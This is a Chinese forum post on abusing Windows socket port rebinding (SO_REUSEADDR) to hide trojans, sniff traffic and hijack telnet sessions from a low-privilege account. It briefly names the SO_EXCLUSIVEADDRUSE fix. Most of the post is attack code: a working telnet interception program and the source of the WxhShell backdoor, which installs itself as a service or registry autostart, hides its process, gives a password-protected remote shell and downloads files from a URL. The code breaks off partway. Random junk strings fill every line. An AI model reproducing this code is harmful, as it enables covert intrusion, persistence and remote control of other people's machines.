社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12513阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2evM|Dj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7W}~c/%  
QZ9 )uI  
  saddr.sin_family = AF_INET; `.[hOQ7  
GlD@Ud>o)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q9W*)gBv n  
UP,0`fh(y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T_YN^za(q  
azOp53zR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q5ohaxjF  
S5bk<8aPP  
  这意味着什么?意味着可以进行如下的攻击: KHF5Nt  
<<n8P5pXt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F!aYK2  
9(u2jbA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TD\QX2m  
Lg9ktRKK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xx/DD%IZ  
T 0^U ]C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U0)(k}Q)  
,QG,tf?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z/Mp=273  
Za=<euc7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :Z1_;`>CT  
QKHmOVh]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rZ0@GA  
XUMCz7&j  
  #include )%#hpP M^  
  #include a#G7pZX/I}  
  #include 3OM\R%M  
  #include    qZ8lU   
  DWORD WINAPI ClientThread(LPVOID lpParam);   rV2}> k  
  int main() _$Z46wHmB  
  { Do2y7,jv  
  WORD wVersionRequested; <_42h|-  
  DWORD ret; Q^0K8>G^  
  WSADATA wsaData; c}rRNS$F  
  BOOL val; ;{HxY98Q  
  SOCKADDR_IN saddr; -AcQ_dS  
  SOCKADDR_IN scaddr; U*1~Zf  
  int err; bS0^AVA  
  SOCKET s; QouTMS-b  
  SOCKET sc; guFR5>-L  
  int caddsize; Fb-NG.Z#  
  HANDLE mt; LM*9b  
  DWORD tid;   +.>O%pNj  
  wVersionRequested = MAKEWORD( 2, 2 ); z!RA=]3h  
  err = WSAStartup( wVersionRequested, &wsaData ); Z39^nGO  
  if ( err != 0 ) { wBeOMA  
  printf("error!WSAStartup failed!\n"); &dOV0y_  
  return -1; Q[~O`Lz  
  } ^Jc~G~x4*  
  saddr.sin_family = AF_INET; uP+ j_is  
   XtQ3$0{*%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uiiA)j*!  
" I_T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #uey1I@"9  
  saddr.sin_port = htons(23); &,KxtlR![  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;39{iU. m  
  { h]MSjC.X  
  printf("error!socket failed!\n"); UbMcXH8=F  
  return -1; xFyMg&  
  } ^z)lEO  
  val = TRUE; li;P,kg$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )Hev -C"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5i1>z{  
  { n,V`Y'v)  
  printf("error!setsockopt failed!\n"); tP3H7Yl! g  
  return -1; ?(g kk YI  
  } 4&`66\p;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z{ymVd0#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;7 IVg[f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y-9]J(  
7Y#b7H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ef53~x  
  { ]JhtO{  
  ret=GetLastError(); a"WnBdFZ  
  printf("error!bind failed!\n"); e3(0L I  
  return -1; n,AN&BZ  
  } jh g!K.A  
  listen(s,2); KJ(zLwQ:  
  while(1) W^y F5  
  { L`"cu.l  
  caddsize = sizeof(scaddr); OgOu$.  
  //接受连接请求 t^h>~o' \  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VfZ/SByh7p  
  if(sc!=INVALID_SOCKET) 9Ft)VX  
  { 59EAqz[:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *[vf47)r!  
  if(mt==NULL) oh:t ex<  
  { 9V"^F.>  
  printf("Thread Creat Failed!\n"); *b.>pY?2|  
  break; uO":\<1#  
  } L(8Q%oX%o  
  } h\.UUC&<  
  CloseHandle(mt); +x+H(of.  
  } "bw4 {pa+  
  closesocket(s); m6 IZG l7%  
  WSACleanup(); "`&?<82  
  return 0; ZS}2(t   
  }   EoOrA@N  
  DWORD WINAPI ClientThread(LPVOID lpParam) Mq*Sp UR  
  { lezdJ  
  SOCKET ss = (SOCKET)lpParam; [n< U>up  
  SOCKET sc; TmQ2;3%  
  unsigned char buf[4096]; Wt4!XV  
  SOCKADDR_IN saddr; %!eK"DKG^  
  long num; x "N,oDs  
  DWORD val; :X ;8$.z  
  DWORD ret; 4vy!'r@   
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hq%`DWus\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g[eI-J+F  
  saddr.sin_family = AF_INET; _ROe!w  1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~&KfJ  
  saddr.sin_port = htons(23); u\Xi]pZ@X]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "M? (Ax  
  { NtA}I)'SWU  
  printf("error!socket failed!\n"); <'gCIIa2  
  return -1; sL!6-[N  
  } rc;| ,\  
  val = 100; @l@lE0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G=b`w;oL:  
  { AE<AEq  
  ret = GetLastError(); hl# 9a?  
  return -1; d<Z`)hI{K  
  } \k g2pF[V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J 0s8vAs  
  { p*dez!  
  ret = GetLastError(); O^e !<bBd  
  return -1; Q2tGe~H  
  } V;)'FJ)]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =-vk}O0C  
  { .Q?AzU,2D  
  printf("error!socket connect failed!\n"); +$v$P!),  
  closesocket(sc); 4y P $l  
  closesocket(ss); !Ug J^v  
  return -1; b$B5sKQ  
  } 52:oe1-8  
  while(1) S&R~*  
  { 1nvs51?H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F oEZ1O<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qp-nr]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 778L[wYe  
  num = recv(ss,buf,4096,0); UQTt;RS*zS  
  if(num>0) s2d;601*b  
  send(sc,buf,num,0); 9@:&E  
  else if(num==0) k:d'aP3  
  break; -gC=%0sp\  
  num = recv(sc,buf,4096,0); .JH3,L"S^  
  if(num>0) %K/rPhU  
  send(ss,buf,num,0); Bp4QHv9xqL  
  else if(num==0) .j;My%)?p  
  break; us5`?XeX]  
  } n JLr]`_  
  closesocket(ss); al" 1T-  
  closesocket(sc); 2o/AH \=2  
  return 0 ; ~(yh0V  
  } OS \co :  
WQ6E8t)  
bggSYhJ?\#  
========================================================== os#j;C]l  
m&; t;&#  
下边附上一个代码,,WXhSHELL >~ne(n4qy  
j)J4[j  
========================================================== (]iw#m{  
h~F uuL  
#include "stdafx.h" l "d&Sgnj  
VF 6@;5p  
#include <stdio.h> 5V%K'a(  
#include <string.h> <'s1+^LC  
#include <windows.h> h`5au<h<  
#include <winsock2.h> Q_@ Z.{  
#include <winsvc.h> ~ae68&L6  
#include <urlmon.h> W'6*$Ron  
&<v# ^2S3  
#pragma comment (lib, "Ws2_32.lib") Z\@vN[[  
#pragma comment (lib, "urlmon.lib") xat)9Yb}0  
=3& WH0  
#define MAX_USER   100 // 最大客户端连接数 w8@ Ok_fj  
#define BUF_SOCK   200 // sock buffer wV U(Du  
#define KEY_BUFF   255 // 输入 buffer g fO.Ky6  
U); ,Opr  
#define REBOOT     0   // 重启 /e\} qq  
#define SHUTDOWN   1   // 关机 O9g{XhMv>f  
g]d@X_ &D  
#define DEF_PORT   5000 // 监听端口 I.\u2B/?  
=0m[  
#define REG_LEN     16   // 注册表键长度 o_={xrmIA  
#define SVC_LEN     80   // NT服务名长度 qWr`cO~hc  
6!+"7r6  
// 从dll定义API ZtB0:'o;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '6K WobXm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s7&% _!4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Ybbh`$<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |w\D6d]o  
85nUR [)h  
// wxhshell配置信息 F\>`j   
struct WSCFG { i8A5m@,G  
  int ws_port;         // 监听端口 |!&,etu  
  char ws_passstr[REG_LEN]; // 口令 F,4Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no &A%#LVjf  
  char ws_regname[REG_LEN]; // 注册表键名 xb1)ZJH  
  char ws_svcname[REG_LEN]; // 服务名 8xL-j2w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8mx5K-/,y^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'jmcS0f -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dJCu`34Y'|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sRY: 7>eg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ZT25CD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +mAMCM2N  
}g(aZ  
}; ?#]c{Tlpz  
>5]Xl*{H)  
// default Wxhshell configuration %L~X\M:Qk  
struct WSCFG wscfg={DEF_PORT, m>UJ; F  
    "xuhuanlingzhe", EStHl(DUPq  
    1, f~"3#MaV  
    "Wxhshell", (|bht0  
    "Wxhshell", zW+Y{^hf  
            "WxhShell Service", J$'T2@H#  
    "Wrsky Windows CmdShell Service",  rro,AS}  
    "Please Input Your Password: ", ^S, "i V  
  1, #<se0CJB  
  "http://www.wrsky.com/wxhshell.exe", \'1%"JWK   
  "Wxhshell.exe" pz-`Tp w  
    }; V ;>{-p  
tF`>.=  
// 消息定义模块 tT'd]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `&0?e-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wx:_F;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S,Oy}Nv  
char *msg_ws_ext="\n\rExit."; )5]z[sE  
char *msg_ws_end="\n\rQuit."; I,?bZ&@8  
char *msg_ws_boot="\n\rReboot..."; }eB\k,7L  
char *msg_ws_poff="\n\rShutdown..."; to,=Q8 )0  
char *msg_ws_down="\n\rSave to "; gR1X@j$_  
g]jtVQH']  
char *msg_ws_err="\n\rErr!"; kqHh@]Z0'  
char *msg_ws_ok="\n\rOK!"; nw\p3  
PqvwM2}4  
char ExeFile[MAX_PATH]; wX|]8f2Z  
int nUser = 0; 1eT|  
HANDLE handles[MAX_USER]; _+^3<MT  
int OsIsNt; tD>m%1'&  
6x -PGq  
SERVICE_STATUS       serviceStatus; 5X~ko>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~ |!q>z  
sU{+.k{  
// 函数声明 FeCQGT  
int Install(void); K$(U>D|  
int Uninstall(void); WgY\m&  
int DownloadFile(char *sURL, SOCKET wsh); -3KB:K<  
int Boot(int flag); rhL<JTS  
void HideProc(void); 2|Tt3/Rn  
int GetOsVer(void); ,PIdPaV--  
int Wxhshell(SOCKET wsl); R]ppA=1*_l  
void TalkWithClient(void *cs); _NZ) n)  
int CmdShell(SOCKET sock); s"a*S\a;b  
int StartFromService(void); P,wFib^1  
int StartWxhshell(LPSTR lpCmdLine); xD_jfAH'  
#0^Q UOp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +>I4@1qC-|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rJNf&x%6  
GWP"i77y0s  
// 数据结构和表定义 |y=CmNG,  
SERVICE_TABLE_ENTRY DispatchTable[] = (EohxLl!p  
{ vTB*J,6.  
{wscfg.ws_svcname, NTServiceMain}, dQizM^j  
{NULL, NULL}  H) (K  
}; pX*mX]  
S - 7JDE>  
// 自我安装 DJ<e=F!  
int Install(void) E}a3.6)p  
{ `SIJszqc  
  char svExeFile[MAX_PATH]; AM Rj N;  
  HKEY key; 8q0f#/`v  
  strcpy(svExeFile,ExeFile); I>P</TE7  
e3[QM  
// 如果是win9x系统,修改注册表设为自启动 Ufo- AeQo  
if(!OsIsNt) { V=S`%1dLN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8#oF7eE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j^64:3  
  RegCloseKey(key); t+?\4+!<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PUlb(3p `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B,gQeW&  
  RegCloseKey(key); o}Xp-P   
  return 0; *X<De  
    } jCa{WV:K}  
  } qi/%&)GZ  
} c%B=TAs5c  
else { _abVX#5<  
xr6Q5/p1  
// 如果是NT以上系统,安装为系统服务 v}cm-_*v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h eh! cDK  
if (schSCManager!=0) 7&sCEYEb  
{ 8 3<kaeu,^  
  SC_HANDLE schService = CreateService 33u7  
  ( QZwRg&d<o  
  schSCManager, }D=h"\_=  
  wscfg.ws_svcname, tKJ) 'v?  
  wscfg.ws_svcdisp, NZ.aI{  
  SERVICE_ALL_ACCESS, bF flA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &0ULj6jj  
  SERVICE_AUTO_START, !p9BH6$`  
  SERVICE_ERROR_NORMAL, uM4,_)L  
  svExeFile, ow`\7qr  
  NULL, _ l/6Qpf  
  NULL, AV8TP-Ls+  
  NULL, 3^`bf=R  
  NULL, Ezml LFp.  
  NULL Ni0lj:  
  ); b UWtlg  
  if (schService!=0) 1hMk\ -3S  
  { I#A`fJ  
  CloseServiceHandle(schService); j+Tk|GRab  
  CloseServiceHandle(schSCManager); JLG5`{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e`_3= kI  
  strcat(svExeFile,wscfg.ws_svcname); 16aaIK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .y'OoDe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K}$PIW  
  RegCloseKey(key); j}ruXg  
  return 0; vhUuf+P*  
    } (d!vm\-PH  
  } Ads^y`b  
  CloseServiceHandle(schSCManager); Bq2}nDP  
} LLU>c]a  
} $iF7hyZ  
9r)5d&,6  
return 1; |]B]0J#_  
} $~9U-B\  
( NiuAy  
// 自我卸载 U O[p   
int Uninstall(void) m<076O4|`  
{ [Zua7&(5  
  HKEY key; D@W m-  
KztF#[64W^  
if(!OsIsNt) { +B&FZ4'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G-:DMjvN  
  RegDeleteValue(key,wscfg.ws_regname); WK<pZ *x  
  RegCloseKey(key); @yek6E&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GvVuFS>y  
  RegDeleteValue(key,wscfg.ws_regname); YE-kdzff  
  RegCloseKey(key); Dk7"#q@kx  
  return 0; E3KP jK  
  } |0 Zj/1<$  
} _p~ `nQ=7  
} z?i82B[Tm  
else { _e-a>y  
@{$SjR8Q $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i?|SC=  
if (schSCManager!=0) ho:,~ A;k  
{ 0 Q1}u@G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #p[=iP  
  if (schService!=0) >MhkNy  
  { \KPz  
  if(DeleteService(schService)!=0) {  T  
  CloseServiceHandle(schService); Sa@Xh,y Z  
  CloseServiceHandle(schSCManager); \[8I5w-  
  return 0; %8$wod6  
  } pFG~XW  
  CloseServiceHandle(schService); |Rab'9U^  
  } ]9x30UXLwD  
  CloseServiceHandle(schSCManager); Nls|R  
} L Xx 3  
} !}vz_6)  
'uPqe.#?  
return 1; _mO\Nw0  
} ?}Mv5SO  
20Rgw  
// 从指定url下载文件 ,qr)}s-  
int DownloadFile(char *sURL, SOCKET wsh) iE&`F hf?  
{ M1oCa,8M+  
  HRESULT hr; D #A9  
char seps[]= "/"; T8RQM1D_s  
char *token; 9^}GUJy?  
char *file; GEvif4  
char myURL[MAX_PATH]; +^"|FtKhE  
char myFILE[MAX_PATH]; %b_zUFHPp  
z24-h C  
strcpy(myURL,sURL); LAvAjvRc  
  token=strtok(myURL,seps); yC _X@o-n  
  while(token!=NULL) Fs=nAn#  
  { HAU8H'h  
    file=token; 9:esj{X  
  token=strtok(NULL,seps); 4e5Ka{# <  
  } 00 $W>Gr  
-MU^%t;-  
GetCurrentDirectory(MAX_PATH,myFILE); `rM-b'D  
strcat(myFILE, "\\"); EGa}ml/G  
strcat(myFILE, file); WM"I r1  
  send(wsh,myFILE,strlen(myFILE),0); czT$mKj3  
send(wsh,"...",3,0); Aimgfxag  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ukPV nk  
  if(hr==S_OK) 5ax/jd~}  
return 0; 4f/8APA  
else WRNO) f<  
return 1; 5^5h%~)}  
+^%F8GB  
} , R]7{7$  
UV:_5"-  
// 系统电源模块 ,0 ])]  
int Boot(int flag) i .'f<z$<  
{ sNNt0q(  
  HANDLE hToken; AAs&wYp8Yh  
  TOKEN_PRIVILEGES tkp; SIg=_oa   
E>7[ti_p5  
  if(OsIsNt) { C f<,\Aav  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dpE+[O_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jgC/  
    tkp.PrivilegeCount = 1; J M`uIVnNA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uL1-@D,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )v'DQAL  
if(flag==REBOOT) { #kxg|G[Ol  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u'iOa  
  return 0; /njN*rhx&Z  
} \75%[;.  
else { Q#vur o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Ipl'cE  
  return 0; :,cSEST  
} `4$" mO>+  
  } 4w\')@`[jk  
  else { Yr0%ZYfN  
if(flag==REBOOT) { V%3K")  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nGg>lRL  
  return 0; ;[*7UE+#7  
} F02NnF  
else { sbG3,'i)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~s !+9\Fi  
  return 0; 7?F0~[eGG  
} O!;!amvz  
} 44cyD _(  
z*kn.sW  
return 1; 92S<TAdPP  
} CjD2FnjT  
I|08[ mO  
// win9x进程隐藏模块 yA6"8fr  
void HideProc(void) [P"#?7 N  
{ whD%Oz*f  
&%FpNU9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0OlB;  
  if ( hKernel != NULL ) P=eL24j  
  { 5z=;q!3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); obY5taOw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5B"j\TwQ  
    FreeLibrary(hKernel);  O'_D*?  
  } 8Kv=Zp,?`  
|2^cPnv?G&  
return; U@i+XZc"S  
} K /. ;N.9  
>/-<,,<\C  
// 获取操作系统版本 @m#7E4 +  
int GetOsVer(void) 02bv0  
{ o-49o5:1  
  OSVERSIONINFO winfo; ?7(`2=J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); St'3e<  
  GetVersionEx(&winfo); |wWBV{^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J6=*F;x6E  
  return 1; F~&bgl[YZ  
  else -3F|)qwK  
  return 0; \z0"  
} ~-|K5  
BgUf:PT  
// 客户端句柄模块 )ASI 41  
int Wxhshell(SOCKET wsl) Gi?"  
{ h=?#D0  
  SOCKET wsh; eSJ5YeY)  
  struct sockaddr_in client; {&G0jsA  
  DWORD myID; l2._Z Py  
mD=x3d  
  while(nUser<MAX_USER) w {6kU   
{ O cd ^{u  
  int nSize=sizeof(client); #2/k^N4r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); epR7p^`7  
  if(wsh==INVALID_SOCKET) return 1; v2/@Pu!kg  
A]Qg X5\sa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j l%27Ld  
if(handles[nUser]==0) a%V6RyT4qW  
  closesocket(wsh); P^T]Ubv"  
else -n+ =[M  
  nUser++; eG=Hyc  
  } E2+O-;VN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gT?:zd=;  
X\V1c$13CK  
  return 0; L >Y%$|4  
} ~*ST fyFw  
_e7 Y R+  
// 关闭 socket QS\H[?M$  
void CloseIt(SOCKET wsh) {OH "d  
{ {p=`"H>  
closesocket(wsh); 'MVE5  
nUser--; qwoF4_VN  
ExitThread(0); (V!:6  
} [x{'NwP?  
}f?$QSF  
// 客户端请求句柄 W&T -E,  
void TalkWithClient(void *cs) XE6sFU  
{ j.= VZ  
Lzm9Kh;  
  SOCKET wsh=(SOCKET)cs; ER;?[!  
  char pwd[SVC_LEN]; fX^ <H_1$G  
  char cmd[KEY_BUFF]; :6:;Z qn  
char chr[1]; 8{^zXJi]m  
int i,j;  dtTQY  
Pp#  
  while (nUser < MAX_USER) { qkPvE;"  
=C gcRxng  
if(wscfg.ws_passstr) { wxS.!9K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ga%gu9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Qd*OO  
  //ZeroMemory(pwd,KEY_BUFF); o9*}>J<+RQ  
      i=0; 6QO[!^lY  
  while(i<SVC_LEN) { leR-oeSO  
~ HN  
  // 设置超时 pMndyuoJl  
  fd_set FdRead; KxhMPvN'  
  struct timeval TimeOut; +-"uJIwMD  
  FD_ZERO(&FdRead); ;&RBg+Pr  
  FD_SET(wsh,&FdRead); %{Ib  
  TimeOut.tv_sec=8; "MM)AY*b  
  TimeOut.tv_usec=0; <A@}C+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e98f+,E/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |zd+ \o  
}$ C;ccWL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "{>BP$Jz  
  pwd=chr[0]; ||yx?q6\h  
  if(chr[0]==0xd || chr[0]==0xa) { K@U[x,Sx  
  pwd=0; w>S;}[fM  
  break; UZvF5Hoe+O  
  } vJI]ZnL{  
  i++; 2 zE gAc  
    }  %JoHc?  
O2N7qV3 U,  
  // 如果是非法用户,关闭 socket |2AMj0V~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6,Z.R T{5  
} Mj!\EUn  
%'o'Kh''=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y2$wL9">  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q 8| C>$n  
9 696EQ,I  
while(1) { \*yH33B9  
HD%n'@E  
  ZeroMemory(cmd,KEY_BUFF); }IJE%  
'wyS9^F  
      // 自动支持客户端 telnet标准   l;7T.2J'Z  
  j=0; qL2!\zt>g  
  while(j<KEY_BUFF) { <Fo~|Nh|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7up~8e$_  
  cmd[j]=chr[0]; T:/mk`>  
  if(chr[0]==0xa || chr[0]==0xd) { H^sImIEUT  
  cmd[j]=0;  /dI8o  
  break; qzk!'J3*r<  
  } 8f`r!/j  
  j++; wHuz~y6  
    } `@3{}  
BFnp[93N  
  // 下载文件 -sqd?L.p  
  if(strstr(cmd,"http://")) { .o#A(3&n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _|jEuif  
  if(DownloadFile(cmd,wsh)) ZX0#I W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0q6xXNAX  
  else CXiDe)|<E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V*6o|#  
  } h[ cqa  
  else { tn 38T%  
u7nTk'#r  
    switch(cmd[0]) { He9Er  
  #=uV, dw  
  // 帮助 mswAao<y&x  
  case '?': { 7?@ -|{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X*w7q7\8-:  
    break; K0A[xkX6  
  } tqD=)0Uzs  
  // 安装 ls({{34NF  
  case 'i': { slnvrel  
    if(Install()) (&i c3/-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]WYddiF  
    else vJj}$AlI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yr)<1.K4,M  
    break; DFMf" _p  
    } %w#z   
  // 卸载 [Smqe>U 1  
  case 'r': { Nr"gj$v  
    if(Uninstall()) A$3ll|%j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|vx2-Cu]  
    else Egt !N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #g#[|c.  
    break; f4;V7DJ  
    } Z~AgZM R  
  // 显示 wxhshell 所在路径 laRn![[  
  case 'p': { #EA` |  
    char svExeFile[MAX_PATH]; a9_KoOa.H  
    strcpy(svExeFile,"\n\r"); 1lYQR`Uh  
      strcat(svExeFile,ExeFile); ~KYA{^`*  
        send(wsh,svExeFile,strlen(svExeFile),0); M 4E|^p=5  
    break; De ([fC  
    } }ijFvIHV  
  // 重启 rL,kDSLs  
  case 'b': {  )mH(Hx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'YB{W8bR  
    if(Boot(REBOOT)) |R;`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }SFmv},Ij  
    else { 8b"vXNB.f  
    closesocket(wsh); ':|E$@$W  
    ExitThread(0); ,`!>.E.  
    } \E1CQP-  
    break; =F% <W7  
    } 1* ?XI  
